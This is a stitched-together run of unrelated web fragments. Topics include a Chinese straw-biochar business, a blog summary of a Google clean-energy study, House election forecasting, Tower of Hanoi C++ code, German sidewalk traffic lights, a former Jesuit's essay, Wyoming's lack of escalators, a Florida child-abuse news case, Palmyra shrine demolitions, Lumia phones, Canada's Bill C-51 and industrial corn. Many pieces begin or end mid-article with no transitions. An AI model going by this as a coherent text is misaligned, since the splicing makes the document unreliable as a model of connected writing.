Lin's company, Shangqiu Sanli New Energy, first consulted farmers who have mastered the use of straw for years. Then it brought in some experts. About a year later, the company came out with a pilot facility in the heart of Henan province, one of China's major crop-producing regions.
The facility turns straw into biochar and wood tar, cleaner-burning alternatives to diesel fuel. It also produces wood vinegar out of straw -- a liquid that makes nonarable soil grow crops. The facility captures a large quantity of combustible gas from the process to meet its own energy needs and to heat a nearby hotel and a public bathroom -- a popular facility in rural China.
The company later found that its biochar can improve soil quality and its biodegradable wood tar can kill pests in farmland while doing little harm to Earth.
The discoveries have whetted Lin's appetite for more straw business. His company now runs seven such facilities across the region and disposes of 200,000 tons of straw every year.
Helping with jobs and climate change
As the means of reusing straw have increased, so have employment opportunities. The company provides more than 400 factory jobs to rural communities and helps turn wasteland into farmland so that more villagers can work in their hometowns rather than migrating to cities.
Last year, the company persuaded dozens of rural communities to stop using coal by supplying them with equipment that processes straw into pellets to compete with coal. Some farmers found using biochar can keep the same crop yield while cutting fertilizer use by a quarter.
China uses more fertilizer than any other country, and that results in the release of nitrous oxide -- a greenhouse gas that climate scientists say is 298 times more powerful than carbon dioxide.
"China in recent years has begun trying to reduce greenhouse gas emissions from agriculture, but solutions it had used are either too costly or too time-consuming," said Pan Genxing, director of the Agriculture and Climate Change Center at Nanjing Agriculture University.
Pan estimates that biochar will help China cut carbon dioxide emissions for each ton of grain output by 25 to 45 percent.
But not everyone agrees. In 2009, a group of environmental organizations led by Britain-based Biofuelwatch issued a report against the use of biochar. The report argued that some studies showed it could increase carbon dioxide emissions from the soil.
What is beyond dispute is a decent economic return in Lin's business. It enjoys a double-digit profit margin each year. After the business presented its straw-to-energy-and-chemicals solution in a global forum last year, Lin said companies from Belgium, Russia and other countries have been in talks with him about exporting the technology.
China's biomass business potential has also caught the eyes of international giants. General Electric Co., for one, signed a partnership last year with an energy research institute in the city Guangzhou to develop and commercialize a technology that uses power from straw gasification to generate electricity.
According to China's latest bioenergy development guideline, the nation annually generates 340 million tons of straw that is available for energy use. So far, less than 3 percent of the straw has been used for that purpose.
Bumping up against King Coal
To seek more clean energy, the government here created fiscal incentives for companies nationwide to produce straw-based fuels and sell straw-generated electricity to utilities. It also subsidized the buildup of biomass power plants in rural China.
Still, there are problems. A straw gasification power plant built in Jiangsu province after an investment equivalent to $321,500 was abandoned only two months after it started in 2008. A local paper said the operator blamed the shutdown on safety concerns.
Lin has a different explanation: Collecting straw is labor-intensive. Transportation and storage also add to the cost. Some factories fail to convert straw into energy in an effective manner. And when they finally produce straw-based fuels, they come up against a more formidable barrier, which is that, despite the subsidies, coal is still cheaper to burn and easier to store and handle.
Policymakers here want to make cities use more biomass energy for heating. They promise to build biogas pipeline networks in rural communities. Lin said those policies help create market demand, but he wants more.
As a member of the Henan Provincial People's Congress, the region's legislature, Lin recently proposed to give the straw-to-energy industry more government support such as subsidized electricity and free tolls on trucks that transport straw. Those proposals are under review.
Posted on 2 July 2011 by dana1981
Google recently released a report detailing the results of their study modeling the impact of breakthroughs in key energy sectors: clean power, energy storage, electric vehicles, and natural gas, along with combinations of clean energy policies.
In order to perform these economic assessments, Google used a carbon economics tool created by McKinsey:
"This analysis was prepared by Google.org using McKinsey & Company's US Low Carbon Economics Tool, which is a neutral, analytic set of interlinked models that estimates potential economic implications of various policies using assumptions defined by Google.org"
In true Google fashion, they also put together a very useful and easy to navigate website detailing the key results of the study, and highlighting some of the key figures in the report. For example:
In this figure, "BT" is a breakthrough, which Google defines as green technologies meeting a certain cost/performance level. You can read about the various "BTs" here. "BAU" is business as usual. The green line depicts a scenario in which we price carbon emissions from the power sector at $30 per ton (which is used to fund a cut in corporate and individual income tax rates), and in which we invest strongly in green technology. The blue line depicts green tech investment without a carbon price. The purple line depicts a scenario in which we delay strong investment in green tech for 5 years. The orange and red area shows the difference in US gross domestic product (GDP) between the green and purple scenarios: we lose a total of $2.3 to 3.2 trillion in benefits over the next 40 years.
Some other key findings in the report:
"Our modeling indicates that, when compared to BAU in 2030, aggressive energy innovation alone could have enormous potential to simultaneously: Grow the US economy by over $155 billion in GDP/year ($244 billion with Clean Policy) Create over 1.1 million new net jobs (1.9 million with Clean Policy) Save US consumers over $942/household/year ($995 with Clean Policy) Reduce US oil consumption by over 1.1 billion barrels/year Reduce US total greenhouse gas emissions (GHG) by 13% (21% with Clean Policy) By 2050, innovation in the modeled technologies alone reduced GHG emissions 55% and 63% when combined with policy, while continuing positive economic and job growth. This analysis indicates that aggressive clean energy innovation could simultaneously help address the US’ major long-term economic, environmental, and security goals."
In short, investing in green tech alone is highly beneficial for the economy and employment, and even moreso if 'Clean Policy' and/or a price on carbon emissions are implemented. Google defines what they mean by 'Clean Policy':
"a collection of existing or proposed federal policies including a Clean Energy Standard (25% [carbon capture and storage], renewables, and new nuclear by 2030), Energy Efficiency Resource Standard (EERS), increased Corporate Average Fuel Economy (CAFE), increased EPA regulations on coal, extended Investment and Production Tax Credits, and a Loan Guarantee credit facility capped at $15 billion per year."
Interestingly, contrary to popular opinion, the Google study finds increased EPA regulations economically beneficial. Also contrary to certain public opinion, in addition to increasing GDP, and reducing oil consumption and CO2 emissions, investing in green tech and implementing Clean Policy and/or carbon pricing will lead to a decrease in household energy bills:
The results are even better when a price on carbon emissions is implemented, which supports our arguments that CO2 limits are good for the economy:
The bulk of the reduction in energy bills (74%, or $699 per year on average) is attributed to the transition to electric vehicles (electricity bills go up, but fuel costs decrease by substantially more). The transition to electric vehicles also accounts for half of the projected job creation. As noted in the first figure above, Google emphasizes that "speed matters":
"In our model, a mere five year delay in starting aggressive cost reduction curves could cost the economy an aggregate $2.3–3.2 trillion in unrealized GDP gains, 1.2–1.4 million net jobs and 8-28 gigatons of potential avoided CO2 emissions by 2050"
The lesson to be learned here is that investment in green tech, clean policy, and carbon pricing are beneficial to the economy. Delaying implementation of these mechanism could potentially cost us a lot of money. The funds for investment in green technology have to come from somewhere, and a carbon emissions price can provide those funds, as has happened in the Regional Greenhouse Gas Initiative.
As Google puts it:
"The benefits are clear, so let’s go!"
For further details on this report click the links above. Or Google it!
A recent Gallup poll found that only 17 percent of registered voters think that most members of Congress deserve to be re-elected, a record low. They also note that years when this number was low correspond to larger turnover in Congress and ask, “Can 2014 be a wave election?”
Our forecasting model of House elections, by contrast, has predicted a status quo election, with relatively few seats changing hands. Is it possible that we are missing something big? The easiest way to tell would be to just add the results of this Gallup question to the model. But Gallup only reports results going back to 1992, while our model goes back much further (to 1952). However, there is another, perhaps more speculative, way to ascertain the importance of these Gallup numbers.
No forecasting model can account for every factor that influences elections. Certain aspects of elections will always be “unexplained” (or not accounted for) by the model. For example, no forecasting model will be able to predict that, say, a Senate candidate will suddenly make controversial comments about “legitimate rape.”
But here is what we can do. Our model can tell us whether either party did unexpectedly well or unexpectedly poorly as a whole in any given year. That is, overall, did one party win more votes than our model predicted, likely because of things the model did not account for? If so, did either party’s over- or under-performance correspond to the public’s desire to throw out incumbents? Since the Gallup question focuses specifically on the House of Representatives, we’re doing the same here.
In general, this Gallup question was only weakly related to over- and under-performance for the years that this question has existed (1992-2012). When more voters said that “most members do not deserve reelection,” the majority party in the House did a bit worse than expected. But the relationship was not very strong. This suggests that our model already captures most of what the public is expressing when they say that “most members” don’t “deserve reelection.”
Here’s why that is. People routinely interpret these survey questions in terms of whether it suggests a coming backlash against “incumbents.” The authors of the Gallup post, Andrew Dugan and Brad Hoffman, write: …self-identified registered voters of both parties largely agree that most members of Congress do not deserve re-election. Eighteen percent of Republicans, the majority party in the House, say most members deserve re-election, identical to the percentage of Democrats saying so. Thus, voters’ wrath appears not to be directed toward one party in particular, as much as toward any incumbent member of Congress.
But as Alan Abramowitz has noted, anti-incumbent elections are largely a myth. High turnover is always anti-party, not anti-incumbent, and the Gallup question is not great at telling us which party is worse off. For example, Democrats did a bit better than the model’s forecast in 1998, and a fair amount worse in 1994. Yet if we consider the Gallup question to reflect feelings about the majority party, both elections should have had about the same outcome.
Sample Input:
In: 4 Out: 0. Moved disc 1 from tower 0 to tower 1 1. Moved disc 2 from tower 0 to tower 2 2. Moved disc 1 from tower 1 to tower 2 3. Moved disc 3 from tower 0 to tower 1 4. Moved disc 1 from tower 2 to tower 0 5. Moved disc 2 from tower 2 to tower 1 6. Moved disc 1 from tower 0 to tower 1 7. Moved disc 4 from tower 0 to tower 2 8. Moved disc 1 from tower 1 to tower 2 9. Moved disc 2 from tower 1 to tower 0 10. Moved disc 1 from tower 2 to tower 0 11. Moved disc 3 from tower 1 to tower 2 12. Moved disc 1 from tower 0 to tower 1 13. Moved disc 2 from tower 0 to tower 2 14. Moved disc 1 from tower 1 to tower 2
Code:
Updated Version:
// © 2017 TheFlyingKeyboard and released under MIT License // theflyingkeyboard.net #include <iostream> #include <stack> #include <vector> using namespace std; class Tower { public: Tower(stack<int> discs) { _discs = discs; } Tower(int disc0) { _discs.push(0); } //Getters int getTopDisc() { return _discs.top(); } bool placeDisc(int disc) { if (canPlaceDisc(disc)) { _discs.push(disc); return true; } return false; } void removeTopDisc() { _discs.pop(); } private: stack<int> _discs; bool canPlaceDisc(int disc) { if (_discs.top() > disc || _discs.top() == 0) { return true; } return false; } }; int main() { stack<int> discs; vector<Tower> towers; const int towerNumber = 3; int discNumber; cout << "Hanoi solver iterative algorithm" << endl; cout << "TheFlyingKeyboard.net 2017" << endl; cout << "Enter number of discs: "; cin >> discNumber; discs.push(0); for (int i = discNumber; i > 0; i--) { discs.push(i); } towers.push_back(Tower(discs)); for (int i = 0; i < towerNumber - 1; i++) { towers.push_back(Tower(0)); } int smallestDisc; int smallestDiscPosition; for (int i = 0; i < (1U << discNumber) - 1; i++) { cout << i << ". "; if (i % 2 == 0) { for (int j = 0; j < towerNumber; j++) { if (towers[j].getTopDisc() == 1) { //Find smallest disc and move it to next tower towers[j].removeTopDisc(); cout << "Moved disc 1 from tower " << j << " to tower "; if (j == towerNumber - 1) { towers[0].placeDisc(1); cout << "0"; } else { towers[j + 1].placeDisc(1); cout << j + 1; } cout << endl; break; } } } else { //Move smallest disc, which is not disc 1 to valid place smallestDisc = discNumber + 1; smallestDiscPosition = 0; for (int j = 0; j < towerNumber; j++) { if (towers[j].getTopDisc() < smallestDisc && towers[j].getTopDisc() != 1 && towers[j].getTopDisc() != 0) { smallestDisc = towers[j].getTopDisc(); smallestDiscPosition = j; } } for (int j = 0; j < towerNumber; j++) { if ((towers[j].getTopDisc() > smallestDisc || towers[j].getTopDisc() == 0) && towers[j].getTopDisc() != 1) { cout << "Moved disc " << smallestDisc << " from tower " << smallestDiscPosition << " to tower " << j << endl; towers[smallestDiscPosition].removeTopDisc(); towers[j].placeDisc(smallestDisc); break; } } } } int tmp; cin >> tmp; return 0; }
Old Version:
// © 2017 TheFlyingKeyboard and released under MIT License // theflyingkeyboard.net #include <iostream> #include <stack> #include <vector> #include <math.h> using namespace std; class Tower { public: Tower(stack<int> discs) { _discs = discs; } Tower(int disc0) { _discs.push(0); } //Getters int getTopDisc() { return _discs.top(); } bool placeDisc(int disc) { if (canPlaceDisc(disc)) { _discs.push(disc); return true; } return false; } void removeTopDisc() { _discs.pop(); } private: stack<int> _discs; bool canPlaceDisc(int disc) { if (_discs.top() > disc || _discs.top() == 0) { return true; } return false; } }; int main() { stack<int> discs; vector<Tower> towers; const unsigned int towerNumber = 3; unsigned int discNumber; cout << "Hanoi solver iterative algorithm" << endl; cout << "TheFlyingKeyboard.net 2017" << endl; cout << "Enter number of discs: "; cin >> discNumber; discs.push(0); for (unsigned int i = discNumber; i > 0; i--) { discs.push(i); } towers.push_back(Tower(discs)); for (unsigned int i = 0; i < towerNumber - 1; i++) { towers.push_back(Tower(0)); } unsigned int smallestDisc; unsigned int smallestDiscPosition; for (unsigned int i = 0; i < pow(2, discNumber) - 1; i++) { cout << i << ". "; if (i % 2 == 0) { for (unsigned int j = 0; j < towerNumber; j++) { if (towers[j].getTopDisc() == 1) { //Find smallest disc and move it to next tower towers[j].removeTopDisc(); cout << "Moved disc 1 from tower " << j << " to tower "; if (j == towerNumber - 1) { towers[0].placeDisc(1); cout << "0"; } else { towers[j + 1].placeDisc(1); cout << j + 1; } cout << endl; break; } } } else { //Move smallast disc, which is not disc 1 to valid place smallestDisc = discNumber + 1; smallestDiscPosition = 0; for (unsigned int j = 0; j < towerNumber; j++) { if (towers[j].getTopDisc() < smallestDisc && towers[j].getTopDisc() != 1 && towers[j].getTopDisc() != 0) { smallestDisc = towers[j].getTopDisc(); smallestDiscPosition = j; } } for (unsigned int j = 0; j < towerNumber; j++) { if ((towers[j].getTopDisc() > smallestDisc || towers[j].getTopDisc() == 0) && towers[j].getTopDisc() != 1) { cout << "Moved disc " << smallestDisc << " from tower " << smallestDiscPosition << " to tower " << j << endl; towers[smallestDiscPosition].removeTopDisc(); towers[j].placeDisc(smallestDisc); break; } } } } int tmp; cin >> tmp; return 0; }
"We will keep an eye on the results," official says
(CNN) Worried about people glued to their phones while they walk down the street?
Two German cities were concerned enough to install traffic lights that face up at pedestrians ... on the sidewalk.
The southern city of Augsburg recently installed the system at two crowded train stations after a manager saw something similar in Cologne.
Cologne installed similar devices in 2011, according to the German transportation research institute STUVA
Lights on the ground alert pedestrians looking down at their phones.
The lights cost about 10,000 euros ($11,313) each. Some have complained about the price, said Jurgen Fergg, a spokesman for the Augsburg municipal service, but the cost is "justified compared to the damage that can be prevented."
I asked, "What do you mean by others?" His response was concise and immediate: "The Jesuit order." (Not, as I expected, "students, parishioners, those we are counseling, etc.")
I was stunned by his answer, and the fact that none of the other 40 participants expressed any disagreement with it. That same evening we heard a talk by a newly installed bishop. He had worked in another diocese prior to his current post and said he often appeared in court to defend priests facing charges.
He described how, as he was walking into court, he would recite to himself, "I'm sorry, Your Honor, but I do not remember." Those attending the dinner laughed loudly. One wonders if either of these revelations would have occurred if "outsiders" (lay people, the parents and victims of sexual abuse by priests) had been present. I strongly doubt it.
I am, however, convinced that the two interlocking issues that contribute to sex crimes against young victims are precisely this misuse of confidentiality and power in the insular clerical culture, and the Vatican's fixation on celibacy.
The church's fixation on celibacy became obvious eight years ago when I decided to implement my decision to leave the priesthood. The process is complex and little known, even by clerics.
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To obtain permission to leave the Jesuits I had to write a letter to the general of the order in Rome, stating my reasons. I had to write a similar letter to the pope, asking to become an "inactive priest." (I imagine it as having my hands tied behind my back, with the church saying I still possess the powers of a priest but without authorization to use them "unless there is a state of emergency or someone is in imminent danger of dying.") I was told the process would be completed within 6-8 weeks.
Writing the two letters seemed simple enough. However, there was one hitch: if I also wanted to be released from my vow of celibacy I would have to go through a series of steps, similar to those required for couples who seek an annulment from their marriage. I would need to have individuals who knew me before I was ordained to testify as to my freedom and maturity when I made this choice in 1970. The theory is that evidence will be found indicating I was not truly free and mature to choose celibacy in the first place. If, indeed, this can be found, then I could be released -- just as some married couples qualify to have their marriages annulled due to a lack of mature free choice.
This is how the church works diligently to protect the bond of marriage and the bond of celibacy -- but then I learned there was one additional hurdle: seeking this permission would take a minimum of two years and neither of the other two requests could be granted until -- and if -- it was successfully approved. Wow! Three superiors encouraged me to only apply for the first two permissions, saying that if I did get married "things could be worked out later without much difficulty."
Of course. It is eight years later, I did get married, and now I'm told that my marriage will only be "regularized" by the Vatican if I respond favorably to a five-page questionnaire that focuses primarily on my sexual history over the past 45 years. I have chosen not to complete the document because I am unable to answer the one question in it that I think is valid: "Why is it that you are seeking this special favor?"
In short, after being released from my vows as a Jesuit and being approved, by the Vatican, to become an inactive priest, I feel no need to obtain a further permission to have my marriage "regularized" -- especially since it can only be obtained by completing an onerous questionnaire fixating on my personal sexual history. Surely Rome can do better than that.
[James Ewens has worked as a chaplain in hospice care and with the mentally ill during his 30 years as a priest. He is retired and lives in North Lake, Wis.]
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I asked a spokesman for the Wyoming governor's office whether any escalators might have been constructed in the state since 2008; he wasn't sure, but thought the newly-constructed airport in Jackson Hole might be a contender. The airport is single-level, though, it turns out—no escalators necessary.
And there seems to be no escalator elsewhere in Jackson, either. "I'm not aware of any," said Andy Heffron of the city's Chamber of Commerce. "I don't even think the hospital has an escalator," another Chamber representative said. It's "just stairs and elevators, that kind of thing."
But maybe the city of Sheridan has one? "I'm not aware of any escalators in the city," Sue Goodman in the City Planning Office told me. "Just elevators."
But what about Cheyenne, the state's capital and its most populous city? No again. "We haven't had one for quite a long while, as a matter of fact," Dick Mason, in the city's Building Office, explained. There used to be an escalator in an old J.C. Penney building, he said ... but the escalator was demolished along with the building itself. (Fellow former escalator-havers of Wyoming include Pink Garter Plaza, a mall-style complex in Jackson, and the Casper/Natrona County International Airport.) Today, for the most part, if you need to get up a level and can't or don't want to use stairs, elevators are the way to go.
And that makes sense. Escalators may be magical machines, the stuff of literature and comedy and epic, epic poetry; they are also, often, less practical than their fellow vertical people-movers. "There are code issues involved with escalators, which make them somewhat less popular," Mason noted. "The code does not want openings between adjacent floors that are unprotected." Say there's a fire: stairways offer people enclosed ways to escape buildings, while escalators generally don't. If you're an engineer thinking about the best ways to move people between floors, escalators often lose the contest. Plus, escalators tend to be more expensive to install and maintain than their counterparts.
Whereas "elevators," Mason said, "are pretty much foolproof."
The dearth of escalators in Wyoming could also have to do with the particularities of the state's buildings themselves. "I think a lot of it has to do with some of the buildings being older," Sue Goodman said—and older buildings with multiple stories tend to rely on stairways and elevators for their inter-floor transport. Two of the most common settings for escalators are malls and larger airports, and places like Sheridan have neither: their stores tend to be standalone structures. Plus, "in the Great Out West, I think land is probably cheaper," Goodman said. So rather than build up, "we spread out."
Jorge Barahona, 53, already faces a charge of aggravated child abuse for injuries to the dead girl's twin, Victor, who was also found in the truck, which was parked on the side of I-95 near West Palm Beach, Florida, officials said.
According to a probable-cause affidavit filed by the West Palm Beach Police Department, a roadside assistance ranger with the Florida Department of Transportation stopped to check the red Toyota pickup Monday around 5:30 a.m. and found the 10-year-old boy inside next to an open gas can.
The boy "appeared to be in respiratory distress and (was) trembling" and his clothing "was soaked with an unknown chemical," the affidavit said.
The ranger then found Barahona on the ground beside the truck and called for help.
The boy was hospitalized in intensive care with severe burns to his abdomen, upper thighs and buttocks, the affidavit said. While examining the boy, doctors noted he had sustained previous injuries, including a broken collarbone, a broken arm, scarring to his buttocks and lower abdomen, and ligature marks on both wrists, police said.
After Barahona and his son were taken to a hospital, a worker decontaminating the truck discovered the body of the girl, wrapped in a plastic bag, the document said.
Barahona told police he was distraught over the death of his daughter, and had intended to commit suicide by dousing himself with gasoline and setting himself afire, the affidavit said. Barahona said he didn't go through with his suicide plan because his son was with him, the document added.
"Basically, to paraphrase, he was stating that he placed his daughter in a plastic bag being distraught over her death," West Palm Beach Police Spokesman Chase Scott told reporters. "He drove here from South Florida accompanied by his son, Victor. He then pulled off to the side of the road saying that he poured gas on his self, intending to light himself on fire. His son's head was in his lap and he decided, after giving his son some sleeping pills, that he wasn't going to do that."
Barahona told police that he doused himself with gasoline and inadvertently got some on the boy, Police Capt. Mary Olsen said.
But, she added, the man's story doesn't add up -- there was no gasoline on the boy. Instead, he was covered with another chemical whose composition had yet to be determined. "That's why we're still treating this as a hazmat (hazardous materials case)," she said.
Scott said the chemicals were so potent that staff caring for the boy at the hospital became ill as well, he said.
Victor, who was transferred Wednesday morning to a specialized burn unit at Miami's Jackson Memorial Hospital, has not been able to talk to investigators because he is on a breathing tube, she said.
Olsen said police would decide how to charge Barahona further once the autopsy on his daughter determines her cause of death.
Asked whether Barahona has expressed remorse, she said, "He feels remorse, but we're not getting consistent statements with what we're seeing in our evidence." She added, "It's a complex case."
At a hearing Wednesday in Miami attended by Barahona's wife, Carmen, a judge ordered that the remaining two children in the home be placed in foster care.
Florida's Department of Children and Families had opened a child protection investigation within the past few days to look into a complaint involving the Barahona family, and it wasn't the first such complaint, spokesman Mark Riordan said.
Reporters in the courtroom Wednesday heard tales of abuse, mainly concerning the twins, from state officials and experts. The caller to the child protection hotline in the latest case reported that the twins were routinely locked in a bathroom for long periods of time and had been bound with tape, the court heard. The story was corroborated by interviews with the other two children in the home, officials said in court.
An investigator told the court that she had showed up last Friday night at the family's home but had not seen the children. Instead, she said, she had left the family's house after speaking with Carmen Barahona, planning to return on Monday. Asked why she had not planned to return sooner, she said, "I'm not allowed to do investigations on a weekend."
However, a spokesman for the department, John Harrell, said it is the job of investigators to follow through immediately or refer to someone else in the department to follow through when a matter is urgent.
What this strongly suggests is that the Masters of the Universe, and Master Mitt himself, really believe in all this stuff – which is pretty remarkable.
The “lucky ducky” trope is clearly, obviously nonsense; equally obviously, it was originally created in an effort to dupe people who didn’t know better. It was and is what Orwell called “prolefeed”, junk aimed at the ignorant masses (ignorant by design), the people who are ready to believe at a moment’s notice that we’ve always been at war with Eastasia.
In Orwell’s vision, however, the Party – and especially the Inner Party – wasn’t supposed to consume this same tripe. It was supposed to understand the true Party agenda and vision (a boot stomping on a human face forever).
AMMAN (Reuters) - Islamic State militants have blown up two ancient shrines they consider sacrilegious in Palmyra, a 2,000-year-old UNESCO World Heritage site in central Syria, the ultra hardline Sunni Muslim group said on Tuesday.
The report was the first of any damage being done by the militants to buildings in Palmyra since they seized control of the city, also known as Tadmur, in May. Syrian forces have bombed the city, and the militants camped within it, since then.
Before-and-after pictures showed several militants carrying explosives and the shrines, which are not among the city’s monumental Roman-era buildings, reduced to rubble.
The Syrian Observatory for Human Rights, a Britain-based monitoring group, said this week that the militants had planted mines in Palmyra but that it was not clear whether it was preparing to destroy the site or wanted to deter government forces from advancing towards it.
Syrian antiquities chief Abdul Maamoun Abdulkarim said, “In all the areas where they spread when they see tombs they destroy them as see them as sacrilegious and a return to paganism.”
Hundreds of statues had been moved from the city to safe locations, before the militants, who control large swathes of Iraq and Syria, took over, he told Reuters.
The phones have a lot in common: 2560×1440 AMOLED screens, 3GB RAM, 32GB of storage, USB Type C ports for charging, Qi wireless charging, Qualcomm rapid charging, 5MP front cameras, and 20MP rear cameras with triple LED flashes and an f/1.9 aperture. Aside from the screen sizes, the major difference is the processor: the bigger phone has a Snapdragon 810 with four big and four little cores, and the smaller one has a Snapdragon 808 with two big and four little. The XL also has a slightly larger battery—3300mAh compared to 3000 in the smaller phone. Both phones will have removable batteries, both will support microSD up to 2TB in size, and both will also be available in dual SIM variants.
The big feature that distinguishes the phones from their many competitors is their biometric security. Microsoft has eschewed the fingerprint sensors that are becoming increasingly common in favor of infrared iris scanning. This feature, which is currently in beta, uses the same Windows Hello infrastructure as is used to enable facial recognition-based logins on the desktop version of Windows 10.
The styling of both phones is decidedly mundane. The distinctive bright colors of previous Lumia phones appear to be a feature of the past. Other design casualties include the distinctive curved cushion shape of the earliest Lumia phones and the stylish metal-and-plastic used in the Lumia Icon/930 and 830. All of these designs were striking in their own way; the 950 and 950XL are quite anonymous in comparison—glossy black fronts, white or black backs, and camera bumps on the rear. The button configuration also appears rather peculiar. Not only do they ditch the hardware buttons on the front—a first for Windows flagship phones and a change that's sure to be unwelcome—but the buttons on the side have also been reconfigured. Power is nestled between volume up and volume down. The one camera button is retained.
Speaking of cameras, presenter and lead Microsoft Devices engineer Panos Panay spoke at length about the phones' camera that will "blow your mind," featuring 20MP sensors, a triple-flash LED—"when you take a picture, you don't look like a ghost; you look like a human"— and a "fifth-generation" optical image stabilizer.
To go with the Lumia 950 pair are a range of accessories. Chief among these is the Microsoft Display Dock, which connects to the phone using USB Type C. It also offers three regular USB ports and a DisplayPort connection. This is designed for Windows 10 Mobile's Continuum feature.
Connect a big screen, mouse, and keyboard, and the Universal Windows Apps on the phone will switch to a more desktop-like mode, demonstrated at the New York event with Microsoft Office apps and taskbar-style multitasking. Additionally, while connected to the Display Dock, the phone will function normally without affecting what appears on the monitor. Microsoft's ambition for Continuum is that the phone will be able to power an entire computing experience—not just a mobile one, but a more desktop-like multitasking, mouse-and-keyboard driven one.
Microsoft also launched a low-end handset, the Lumia 550. This is a budget-oriented 4.7-inch AMOLED 1280×720 LTE handset. On the inside is a quad-core 1.2GHz Snapdragon 210, 1GB RAM, and 8GB of storage, with a 5MP rear and 2MP front camera. Available in red, white, blue, and black, these use the same styling as previous low-end Lumia phones: black glass fronts with a wraparound polycarbonate shell.
Cowan says the bill, which passed in the House of Commons last week with Liberal support, lacks oversight and violates the Charter of Rights and Freedoms.
“My sense would be that most Liberal senators will oppose the bill. We’ll propose amendments — not the same amendments they did in the House but similar. For my part, if the amendments aren’t carried, and I don’t expect they will be, then I’ll vote against the bill,” said Cowan.
Cowan says Liberal senators — now officially independent since they were ejected from the national caucus in January, 2014 — have not checked with the Liberal party on their opposition to the bill and feel no compunction to.
“It’s an example, I think, of how freedom is kind of working for us,” Cowan said.
Cowan said his issue with the bill is that it fails to balance security needs and civil rights.
“There are certain rights that we guarantee people who live here and you have to be careful that you don’t go too far…and trample unnecessarily on people’s rights to privacy, to freedom of association, and freedom of speech. These are important fundamental things for us, so my sense is once again, the government’s got the balance wrong,” said Cowan, adding that government is trying to “arrest its way out of the problem.”
Another concern for Cowan is the fact that Canada is the only country of the “Five Eyes” — including United States, New Zealand, Australia, and Britain — that wouldn’t have any legislative oversight of police and intelligence authorities that will have additional powers to deal with terrorism threats.
“There are some real constitutional issues here,” said Cowan, who questions whether the bill complies with the Charter of Rights and Freedoms.
“There’s a provision in the bill that enables [authorities] to go to judges and get warrants to authorize the breaking of laws. Where does that come from? Is that really necessary?”
Cowan said that after reading a letter signed by former prime ministers, former justice ministers, former CSIS heads and academics who wrote that the bill had gone “too far,” he asked the government leader in the Senate, Claude Carignan, for the name of a “similarly eminent Canadian” who could say that Bill C-51 is a good thing.
“His answer was Stephen Harper,” said Cowan.
“That was his answer, that really says it all. I never expected him to say that. It’s that bad, because they don’t have any [experts], they say the prime minister.”
“The [government] will say ‘enough’s enough let’s have a vote’. They’ll vote one way I’ll vote the other, and we’ll move on to the next thing. That’s not sober second thought.”
It’s important to raise these issues, said Cowan, and he said once the bill is passed somebody will challenge the law, they’ll go to court and the court will say it’s unconstitutional.
For an American like me, growing up linked to a very different food chain, yet one that is also rooted in corn, not to think of himself as a corn person suggests either a failure of imagination or a triumph of capitalism.
Or perhaps a little of both. For the great edifice of variety and choice that is an American supermarket rests on a remarkably narrow biological foundation: corn. It's not merely the feed that the steers and the chickens and the pigs and the turkeys ate; it's not just the source of the flour and the oil and the leavenings, the glycerides and coloring in the processed foods; it's not just sweetening the soft drinks or lending a shine to the magazine cover over by the checkout. The supermarket itself—the wallboard and joint compound, the linoleum and fiberglass and adhesives out of which the building itself has been built—is in no small measure a manifestation of corn.
There are some 45,000 items in the average American supermarket, and more than a quarter of them contain corn. At the same time, the food industry has done a good job of persuading us that the 45,000 different items or SKUs (stock keeping units) represent genuine variety rather than the clever rearrangements of molecules extracted from the same plant.
How this peculiar grass, native to Central America and unknown to the Old World before 1492, came to colonize so much of our land and bodies is one of the plant world's greatest success stories. I say the plant world's success story because it is no longer clear that corn's triumph is such a boon to the rest of the world.
At its most basic, the story of life on earth is the competition among species to capture and store as much energy as possible—either directly from the sun, in the case of plants, or, in the case of animals, by eating plants and plant eaters. The energy is stored in the form of carbon molecules and measured in calories: the calories we eat, whether in an ear of corn or a steak, represent packets of energy once captured by a plant. Few plants can manufacture quite as much organic matter (and calories) from the same quantities of sunlight and water and basic elements as corn.
The great turning point in the modern history of corn, which in turn marks a key turning point in the industrialization of our food, can be dated with some precision to the day in 1947 when the huge munitions plant at Muscle Shoals, Alabama, switched over from making explosives to making chemical fertilizer. After World War II, the government had found itself with a tremendous surplus of ammonium nitrate, the principal ingredient in the making of explosives. Ammonium nitrate also happens to be an excellent source of nitrogen for plants. Serious thought was given to spraying America's forests with the surplus chemical, to help the timber industry. But agronomists in the Department of Agriculture had a better idea: spread the ammonium nitrate on farmland as fertilizer. The chemical fertilizer industry (along with that of pesticides, which are based on the poison gases developed for war) is the product of the government's effort to convert its war machine to peacetime purposes. As the Indian farmer activist Vandana Shiva says in her speeches, "We're still eating the leftovers of World War II."
F1 hybrid corn is the greediest of plants, consuming more fertilizer than any other crop. Though F1 hybrids were introduced in the 1930s, it wasn't until they made the acquaintance of chemical fertilizers in the 1950s that corn yields exploded. The discovery of synthetic nitrogen changed everything—not just for the corn plant and the farm, not just for the food system, but also for the way life on earth is conducted.
All life depends on nitrogen; it is the building block from which nature assembles amino acids, proteins and nucleic acid; the genetic information that orders and perpetuates life is written in nitrogen ink. But the supply of usable nitrogen on earth is limited. Although earth's atmosphere is about 80 percent nitrogen, all those atoms are tightly paired, nonreactive and therefore useless; the 19th-century chemist Justus von Liebig spoke of atmospheric nitrogen's "indifference to all other substances." To be of any value to plants and animals, these self-involved nitrogen atoms must be split and then joined to atoms of hydrogen.
Chemists call this process of taking atoms from the atmosphere and combining them into molecules useful to living things "fixing" that element. Until a German Jewish chemist named Fritz Haber figured out how to turn this trick in 1909, all the usable nitrogen on earth had at one time been fixed by soil bacteria living on the roots of leguminous plants (such as peas or alfalfa or locust trees) or, less commonly, by the shock of electrical lightning, which can break nitrogen bonds in the air, releasing a light rain of fertility.
In his book Enriching the Earth: Fritz Haber, Carl Bosch and the Transformation of World Food Production, Vaclav Smil pointed out that "there is no way to grow crops and human bodies without nitrogen." Before Haber's invention, the sheer amount of life earth could support—the size of crops and therefore the number of human bodies—was limited by the amount of nitrogen that bacteria and lightning could fix. By 1900, European scientists had recognized that unless a way was found to augment this naturally occurring nitrogen, the growth of the human population would soon grind to a very painful halt. The same recognition by Chinese scientists a few decades later is probably what compelled China's opening to the West: after Nixon's 1972 trip, the first major order the Chinese government placed was for 13 massive fertilizer factories. Without them, China would have starved.
